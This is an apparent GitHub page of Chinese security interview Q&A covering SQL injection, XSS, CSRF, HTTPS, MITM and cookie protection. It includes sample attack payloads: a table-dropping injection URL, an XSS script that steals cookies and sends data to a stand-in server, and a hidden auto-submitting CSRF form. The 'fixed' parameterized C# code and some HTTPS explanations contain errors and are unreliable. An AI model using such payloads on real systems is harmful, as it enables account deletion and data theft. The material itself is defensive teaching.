Skip to content

Latest commit

 

History

History

14安全

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
  1. 什么是代码安全?在你的观点中,这个是开发者的责任,还是公司需要专门的角色?
  2. 为什么密码学是一些你自己不需要重新发明和设计的事情?
  3. 什么是双因素认证(Two Factor Authentication)?在一个已有的Web应用中,你如何实现这种机制?
  4. 如果不是仔细处理,存在日志中包含敏感信息的风险,比如密码?如何处理这些事情呢?
  5. 编写代码能够被SQL注入影响,并修改它;
  6. 能够通过代码静态检查分析来检测SQL注入,能够给出大致的思路;
  7. 什么是 Cross-Site Scripting?
  8. 什么是Cross-Site Forgery Attack?
  9. HTTPS是如何工作的?
  10. 什么是中间人攻击(Man-in-the-middle Attack)? HTTPS如何保护的?
  11. 怎样防止用户的会话(session)被偷?

1 什么是代码安全?在你的观点中,这个是开发者的责任,还是公司需要专门的角色?

代码安全(Code Security)涉及到在软件开发过程中采取的一系列措施,以确保代码不容易受到攻击、漏洞被利用或造成数据泄露。它包括从代码编写、代码审查到自动化测试等多个方面,旨在识别和修复安全漏洞,防止恶意攻击,并保证软件产品的整体安全性。

代码安全的重要性 随着软件在日常生活中扮演越来越重要的角色,从金融交易到个人隐私信息的管理,软件安全直接关联到了用户信任和企业声誉。一旦发生安全事件,可能导致重大财务损失、客户流失以及法律诉讼等后果。

开发者的责任 在我看来,确保代码安全应该是每个开发者的基本责任。开发者在编写代码时,需要遵循安全编码标准和最佳实践,例如避免常见的安全漏洞(如SQL注入、跨站脚本(XSS)攻击等)、使用安全的库和框架、以及进行代码审查等。开发者还需要持续学习和关注最新的安全威胁和防御技术,以提升自己的安全意识和能力。

公司层面的角色和职责 虽然开发者有责任编写安全的代码,但企业也应该建立相应的支持体系和文化来保障代码安全。这通常包括:

专门的安全团队:负责制定安全策略、执行安全审计、响应安全事件等。 安全培训和意识提升:为开发者和其他相关人员提供定期的安全培训,提升整个组织的安全意识。 安全工具和自动化:引入静态代码分析(SAST)、动态应用安全测试(DAST)和其他安全工具,以自动化地识别潜在的安全问题。 安全开发生命周期(SDLC):将安全考虑整合到软件开发生命周期的每个阶段,从需求分析到设计、开发、测试和部署。 结论 在现代软件开发中,代码安全是一个跨职能的责任,需要开发者、安全团队以及整个组织的共同努力。通过将安全作为产品开发的一个不可分割的部分,以及建立起全员参与的安全文化,企业可以更有效地防范安全威胁,保护用户和自身的利益。

2 为什么密码学是一些你自己不需要重新发明和设计的事情?

首先实现一套加密系统是非常困难的一件事,连这个领域的专家通常也会在这个领域出错,不管是理论还是实践中。除此之外,选择已经有的加密系统,也就意味着这个理论已经被社区广泛测试过了,而且已经有大量的系统已经支持这个加密算法。 所以你不需要设计一个密码系统除非你是靠着谋生或者能够接受社区的挑战,这是一个专业人士的课题。如果仅仅是为了挑战加密算法,也就仅仅适用于实验项目而不能用在生产中。

3 什么是双因素认证(Two Factor Authentication)?在一个已有的Web应用中,你如何实现这种机制?

双因素认证也叫做两步验证,这是一种安全认证过程这样用户可以提两种不同的认证因素来验证用户身份。这个方式比传统的单因素,比如用户名和密码安全得多。双因素认证的过程是这样的,当你需要访问敏感数据来源的的时候,除了需要输入用户名和密码之外,还需要提供第二种认证输入,比如秘钥或者生物特征因素。 对于认证因素,主要有以下几种:

  1. 认知认证:这是用户已知的信息,比如密码,PIN(个人身份号码),
  2. 拥有认证:比如以下 ID 卡,安全 token,手机,移动设备或者只能手机的 app,
  3. 生物认证:比如用户身体指纹,视网膜等等,
  4. 位置认证:尝试授权的设备需要在特定的位置范围,
  5. 时间认证:授权只允许在特定的时间窗口内完成

那么双因素认证的过程是怎样的呢?

  1. 用户在应用程序后者网站被提示登录
  2. 用户输入用户名和密码
  3. 网站或者应用程序提示进行第二部验证,在这一步可以选择多个认证方式,比如安全 Token, ID 卡等等
  4. 在第三步中,用户输入上一步实时生成的代码
  5. 如果提供了两步认证,用户被授权访问敏感数据

4 如果不是仔细处理,存在日志中包含敏感信息的风险,比如密码?如何处理这些事情呢?

确实,如果不仔细处理,日志中包含敏感信息(如密码、个人身份信息、支付信息等)是一个严重的安全隐患。这不仅可能导致用户隐私泄露,还可能违反数据保护法规(如GDPR或CCPA),给组织带来法律和声誉风险。为了避免这些风险,可以采取以下措施:

  1. 明确日志记录策略 定义敏感信息:首先明确哪些信息被认为是敏感的,需要被排除在日志之外。 日志级别管理:通过不同的日志级别(如DEBUG、INFO、WARN、ERROR)控制记录的信息量,确保仅在适当的级别输出敏感信息(在大多数情况下,应避免在任何级别输出敏感信息)。
  2. 使用数据脱敏技术 在记录日志之前,对敏感信息进行脱敏处理。脱敏可以通过替换、掩码、哈希等技术实现,以确保敏感信息不会明文出现在日志文件中。

掩码:用星号或其他字符遮蔽敏感信息的一部分,例如将邮箱地址[email protected]记录为exa****@domain.com。 哈希:对敏感信息应用哈希函数,尤其适用于密码等验证信息。哈希后的值无法逆向还原原始数据。 3. 采用日志记录工具和库 利用成熟的日志记录工具和库,这些工具通常提供了配置选项来排除或脱敏敏感信息。例如,一些日志库允许开发者自定义过滤器或者转换器,自动在日志记录前处理敏感数据。

  1. 审计和监控日志文件 定期审计日志文件,确保没有意外记录敏感信息。此外,监控日志文件的访问,以确保只有授权人员才能访问。

  2. 安全存储和传输日志 确保日志文件的安全存储和传输。使用加密来保护存储在文件系统或传输过程中的日志数据,防止未经授权的访问。

  3. 遵守合规性要求 遵循相关的法律法规和最佳实践,如欧盟的一般数据保护条例(GDPR),确保处理个人数据的行为符合法律要求。

  4. 培训和文化 对开发、运维和安全团队进行定期的安全意识培训,强调敏感信息处理的重要性,确保团队成员都能识别和正确处理敏感数据。

通过上述措施,可以最大程度地减少日志中包含敏感信息的风险,从而保护用户数据的安全,同时符合业务和法律的要求。

5 编写代码能够被SQL注入影响,并修改它;

SQL 注入 (SQL Injection)是网络安全中领域中一项内容,它允许攻击者通过应用程序的查询语句访问不允许访问的数据,或者修改数据库的内容,甚至删除数据。

假设网络应用程序中有这么一个地址

https://sqlinjection.com/user?id=10

它的目的是查询 userid=10 用户,那么在后台的应用程序就表现为。

public User GetUser(string id)
{
    string sql = $"select * from User where id = ${id};"
    SqlCommand command = new SqlCommand(sql, connection);
    SqlDataReader reader = command.ExecuteReader();
    return ConvertToUser(reader);
}

但是如果网络攻击者调用我们的地址是这样的

https://sqlinjection.com/user?id=10%3Bdrop%26table%20User

那么查询语句就会变成

select * from User where id = 10; drop table User

当执行完这段语句,我们就会发现我们 User 表就会被删除,达到了 SQL 注入攻击的目的。

那么我们该如何防范这种攻击呢? 第一我们可以使用 ORM 框架来进行查询操作,由于没有主动的 SQL 语句的拼接,就不会给网络攻击可乘之机;另一种方法是参数化查询。

public User GetUser(string id)
{
    string sql = $"select * from User where id = $ID;"
    SqlCommand command = new SqlCommand(sql, connection);
    command.Parameter.Add("@ID", SqlDbType.String);
    command.Parameter["@ID"].Value = id;
    SqlDataReader reader = command.ExecuteReader();
    return ConvertToUser(reader);
}

通过查询参数化,我们可以让参数转换成特定的数据类型。哪怕攻击者将 id 设置为 10;drop table User, 最终的查询语句也会变成

select * from User where id = '10; drop table User'

这样就能避免 SQL 注入带来的风险。

6 能够通过代码静态检查分析来检测SQL注入,能够给出大致的思路;

通过代码静态检查(Static Code Analysis)来检测SQL注入等安全漏洞,是现代软件开发安全策略中的一部分。静态代码分析工具不运行代码,而是分析源代码的结构、数据流和控制流,以识别可能的安全问题。以下是检测SQL注入的一般思路:

  1. 识别数据输入点 目标:首先,静态分析工具需要识别所有外部数据输入的点。这些输入可能来自用户输入、文件、网络等。 方法:通过分析代码识别所有获取输入的函数调用,如Web应用的表单输入,API调用参数等。
  2. 追踪数据流 目标:追踪从输入点接收的数据在代码中的流向。目的是确定这些数据是否在未经验证或清洗的情况下,被用于构建SQL查询。 方法:通过构建数据流图(DFG),分析变量如何在程序中传递和转换。标记从外部输入到达的所有数据路径。
  3. 分析数据处理 目标:检查输入数据是否经过适当的验证(比如,使用正则表达式过滤特定模式)和清洗(如,转义或删除SQL语句中的特殊字符)。 方法:识别和评估用于数据处理的函数和方法,如参数化查询、使用ORM框架等。
  4. 识别危险函数和构造 目标:查找可能导致SQL注入的危险函数和语句构造。这包括直接执行SQL命令的函数,以及动态构造SQL语句的字符串操作。 方法:创建一个包含已知危险函数和模式的数据库,与代码中的函数调用和字符串操作进行匹配。
  5. 检查SQL查询构造 目标:特别关注动态构建的SQL查询。这些查询特别容易受到SQL注入攻击,因为它们可能直接将用户输入嵌入到SQL命令中。 方法:识别所有动态SQL查询的构造点,检查这些点是否使用了安全的构造方式,如参数化查询。
  6. 生成报告和警告 目标:对于每个潜在的SQL注入漏洞,生成详细的报告和警告。 方法:提供足够的信息,包括漏洞位置、影响的数据路径和建议的修复措施。
  7. 整合人工审计 目标:虽然静态分析可以自动识别许多问题,但最终的安全审核往往需要人工参与,以准确评估潜在的漏洞。 方法:结合自动化工具的结果和安全专家的经验,对疑似漏洞进行人工复审。 通过以上步骤,静态代码分析工具能够有效地识别潜在的SQL注入漏洞,并帮助开发者在软件发布前修复这些问题,增强应用程序的安全性。需要注意的是,静态代码分析是安全审计的一部分,最佳实践是将其与动态分析、渗透测试等其他安全措施结合起来,以全面提升软件安全。

7 什么是 Cross-Site Scripting?

Cross-Site Scripting 也叫做 XSS ,它允许攻击者将客户端代码侵入到用户的的浏览的页面中。为什么它可以做到这一点呢?因为它绕过了同源策略(Same Origin Policy)。

所谓同源策略也就是说浏览器针对同一个站点的内容都授予权限来访问资源,比如说 cookie 什么的。如果网站内容下面三者相同,就表明是同源的

  1. URI schema 相同
  2. host 名相同
  3. port 相同

攻击者将有问题的脚本(一般为代码)通过安全的网站分发给浏览这个网站的用户,由于脚本现在属于同源的内容,因此有权限访问一些敏感的数据,并且将它们发送给攻击者,这样完成了数据窃取。 假设现在有一个相亲网站,你是其中的一名会员,不过你想知道有哪些人访问了你的主页。你可以在自我介绍的的输入框的最后,添加上这么一段代码

<script> 
let cookie = document.cookie;
let userName = getUsername("https://www.binddate.com", cookie);
sendUserNameToMyServer("https://www.myserver.com", userName);
</script>

这样在别的会员在用浏览器加载你的主页的时候,你的自我介绍就会被从数据库中加载到用户的浏览器中。但是最后的 script 标签会被浏览器执行,由于是同源上的内容,所以正在浏览的用户的 cookie 就会被访问,进而读取到用户的姓名,完成了数据的窃取。

XSS 主要分为四种

  1. Reflected. 这是大部分 XSS 的类型,它是由客户端提供的内容导致的。一般的搜索或者提交的 Web 应用都会返回用户的输入。如果用户的提交的的内容是攻击的代码,那么就可能导致问题的出现。

  2. Stored: 这种类型是用户的攻击的代码存储在数据库中,而且能够将这个脚本发送给所有正常的页面。比如上面的例子就是这种类型。

  3. Server-side versus DOM-based vulnerabilities: 这是将渲染和业务逻辑放置在客户端引出的 XSS 攻击

  4. Mutated: 这是一种看上去安全的内容,但是但是它能够通过浏览器重写,修改和解析标记文本,比如少些一个闭合的方括号。

既然出现了 XSS 的攻击,就有办法阻止这种攻击

8 什么是Cross-Site Forgery Attack?

CSFA 是一种网络攻击,它强制终端用户执行一些原本不想执行的操作,这些操作使用了当前的用户的认证信息,比如 cookie 等等。那么 CSFA 是如何工作的呢? 接下来我们举一个例子: 假设有一个网站叫做 http://vulnerable.com,我们在这个网站上有各自的账户,如果这个网站上的个人账户页面上提供了一个删除按钮,那么当我们点击这个按钮,那么这个按钮就会执行下面的 HTTP 请求

POST /delete_my_account HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Cookie: SessionID=d34dc0d3

delete = 1

由于请求中包含了 Cookie,因为包含了 cookie 因为服务端会授权这次删除操作。假设有个攻击者通过邮件或者网页上的超链接发送用户,但是这个超链接的缺包含了下面一段代码

<form action="http://vulnerable.com/delete_my_account"
      method="POST"
      id="csrf_form">
    <input type="hidden" name="delete" value="1">
</form>
<script>
    document.getElementById("csrf_form").submit()
</script>

由于这个 form 是隐藏的,所以用户并没有看到这个表单,而且通过 Javascript 脚本自动执行了表单的提交,由于这次的请求是发送给 http://vulnerable.com,根据同源策略,浏览器会将相应的 host 下面的 cookie 一同发送过去。这样服务端会认为这是一个真正用户的请求,从而完成删除操作。

这就是 Cross-Site Forgery Attack, 那么有没有办法阻止这种情况发生呢?当然有,目前服务端采用 anti-CSRF 的策略,该策略是在为 POST 之类的 form 随机生成一个数字,只有请求发送过来的数值相同才认同这次的请求。

9 HTTPS是如何工作的?

HTTPS 是建立在标准的 HTTP 协议上的使用 SSL/TLS 加密的协议。它可以保护我们在网络上传输的数据,以防止被攻击者窃听。当我们是用 Microsoft Edge 浏览器访问特定的网站,如果地址栏前面有 🔒 标志,则说明目前是通过 HTTPS 协议。

那么 HTTPS 是如何工作的呢?在 HTTP 协议中,服务端和客户端通过请求和响应的方式来通信,而 SSL 连接将请求和响应加密和解密。它主要有两个目的:

  1. 确保客户端访问的服务端就是你想访问的服务端
  2. 确保只有服务端能够读取客户端发送的消息,反之亦然。

这就意味着任何人都可以拦截客户端发送服务端的消息,哪怕是之前通信的服务端,都不能读取你加密之前发送的内容。

在握手阶段,SSL 连接就建立起来,主要有下面三个目的

  1. 确保服务端是访问的是争取的服务端,反之也可以
  2. 为两边确定加密方法,主要包含那种加密算法来交换数据
  3. 为两边确定加密算法确定必要的 key

一旦加密完成,就可以通过上述确定的加密算法和 key 来对交换的消息进行加密。我们将会将这个握手过程拆分成三步

  1. Hello: 首先客户端发送一个 ClientHello 的消息给服务端,它包含了服务端需要的信息,比如客户端能够提供了的加密方法和 SSL 支持的最大版本。服务端同时返回 ServerHello 消息,这个包含了客户端需要的信息,比如究竟哪个加密算法被选择了,哪个版本的 SSL 被选择了。
  2. Certificate Exchange: 这时候服务端需要提供了必要的信息来证明自己就是客户端需要的服务端。通常者通过 SSL Certificate 来完成,一个 Certificate 通常包含了这些信息:拥有者的名字,相关的属性,证书的公钥,数字签名和证书的有效性的数据,客户端通过各种方式来验证这些数据的合法性。对于一些敏感的应用程序,通常也要求客户端提供相关的证书。
  3. Key Exchange 客户端和服务端的数据交换的采用的对称加密,加密方式在第一步 Hello 阶段就确定了。对称加密采用唯一的 key 来加密和揭秘,这个不同于非对称加密的 public/private 密钥, 两边都需要同意这个对称加密的 key,这个交换 key 的流程由非对称加密完成,用的是服务端的 public/private 密钥。

客户端随机生成用在对称加密中的 key,然后用 SSL 证书中的公钥来对 key 进行加密,然后发送给服务端,服务端然后用私钥对其进行解密。现在客户端和服务端都拥有了对称加密的公钥和私钥,解析来它们所有消息都可以用简单文本进行加密,然后发送。在服务端接收到消息后,使用 key 进行解密,获得原本的内容。这样中间人攻击根本没有办法来读取或者修改消息,哪怕截获了消息。

Certifaces

在上面的介绍了,证书(Certificate)是最重要的的一个东西。从某种意义上来讲,证书就是一个简单的文本文件。你也可以自己创建一个证书,说自己的服务器就是 Microsoft 公司。那么这就涉及到一个关键的概念:数字签名,它可以允许接收者验证发送者是否正如它声明的那样。在两种情况下,在两种情况下可以信任一个证书:

  1. 它是一系列已经默认的信任的证书。
  2. 在被上述证书中的任何一个性能。

第一种情况非常容易去检查,客户端浏览器已经预先安装了一系列证书,这些证书是由一系列非常安全的机构或者组织颁发的,比如Symantec, Comodo 等等,如果一个服务端出具了上述的证书,客户端可以信任它们。

第二种情况就比较复杂了,如果一个服务端发来一个证书,并且说明我这个证书是被 Symantec 这个证书信任的。这是客户端需要一个机制来验证这个证书的声明是否正确的,这是需要数字签名来验证。

在前面说我们说过,非对称加密算法中包含了公钥和私钥,使用公钥加密一段文本,只有私钥才能解密。反之亦然,用私钥加密的文本,只有公钥才能解密,而且只有私钥才能完成加密这一步。如果一个证书被别的证书签名过了,也就是它的内容被私钥已经加密过了。这时候我们只需要通过公钥对发过来的证书使用公钥进行解密,如果结果和申明的一致,也就是说它能够被信任。

那么可以查看一下 Edge 浏览器中预先安装的 Certificate

点击其中一个,可以查看这个证书的详细信息,比如公钥。

10 什么是中间人攻击(Man-in-the-middle Attack)? HTTPS如何保护的?

中间人攻击是攻击者截获客户端和服务端之间的流量,它既可以去监听流量的内容,可以修改流量。

假设现在 Alice 打算和 Bob 进行通信,但是 Mallory 打算在网络的中间进行攻击。

对于 Alice 和 Bob 的会话就会变得如下所示

  1. Alice 发送一个消息给 Blob

Alice "Bob, 给我你的公钥" -> Mallory -> Bob

  1. Mallory 截获了这条消息,修改并发送诶 Bob

Alice Mallory "我是 Alice,给我你的公钥" -> Bob

  1. Bob 将他的公钥发给了 Mallory

Alice Mallory <- "Bob 的公钥" Bob

  1. Mallory 将自己的公钥替换为 Bob 的,并且声明这是 Bob 的公钥

Alice <- "Mallory 的公钥" Mallory Bob

  1. Alice 将她的信息使用 Mallory 的公钥进行加密,并且发送给 Bob

Alice -> "我的银行卡号是123,请转账" Mallory Bob

  1. Mallory 使用自己私钥解密,并且修改内容发给 Bob

Alice Mallory "我的银行卡号是456,请转账" -> Bob

在 HTTPS 中,我们通过证书来验证服务端是否是我们想要的服务端。我们只信任 CA 机构颁发的证书或者 CA 机构颁发证书信任的证书。通过私钥对证书的签名,然后通过公钥进行解密,如果一致就表明对方的确是想要连接的对象。 由于无法在缺少私钥的情况下,对证书进行加密,所以攻击者不可能修改内容,哪怕是截获到流量,也是加密后的内容。

11 怎样防止用户的会话(session)被偷?

假设我们有个网站需要用户的登录,比如输入账户和密码。那么接下来一段时间,用户就不需要继续登录,因为我们这段时间内,维持了用户账户的登录的 Session。我们都知道 Http 协议是无状态的,需要借助 Cookie 让服务端知道当前用户的信息。比如说我们这样一个 Cookie 记录

  • Name: .ASpNETCore.CookieCookie 的名称
  • Value: CfDj8Hx... Cookie 加密之后的值,这个值只对于服务端来才有意义。

服务端在拿到这个值之后,然后在存储层拿到这个用户的基本信息,这样用户就不需要重新授权登录。

但是如果中间人能够拿到这个 Cookie 值并且向服务器发送请求,这样就能获得响应的授权。那么第三方在什么时候会难道这些 Cookie 能?我们都知道在网页中运行的都是 Javascript 代码,如果中间人在网页中注入一段 Document.Cookies 的代码,就能获取当前页面所有的 Cookie 数据。

那么我们该如何修复这个问题呢?

  • HttpOnly

首先我们需要在返回 Cookie 的时候添加 HttpOnly 这个记录

Set-Cookie: .AspNETCore.Cookie=CfDj8Hx; HttpOnly

通过添加 HttpOnly 这个字段,告诉浏览器这个 Cookie 不能被 Javascript 代码读取,只能通过浏览器的请求发送。

这里我们可以看到,document.cookie 为空

  • Secure

我们都知道 Http 是不安全的,所有的传输数据都是明文形式传送。那我们如何避免这个数据被第三方人看到呢?我们需要使用 SSL 协议来加密我们的请求和响应。因此我们从服务端指定只有 Https 的请求才会返回 Cookie,而且告诉浏览器只有 Https 的请求才会带上这个 Cookie

Set-Cookie: .AspNETCore.Cookie=CfDj8Hx; HttpOnly;Secure

刚刚我们看到的例子中,.AspNetCore.Cookie 这个 Cookie 将这两个选项全部打开了。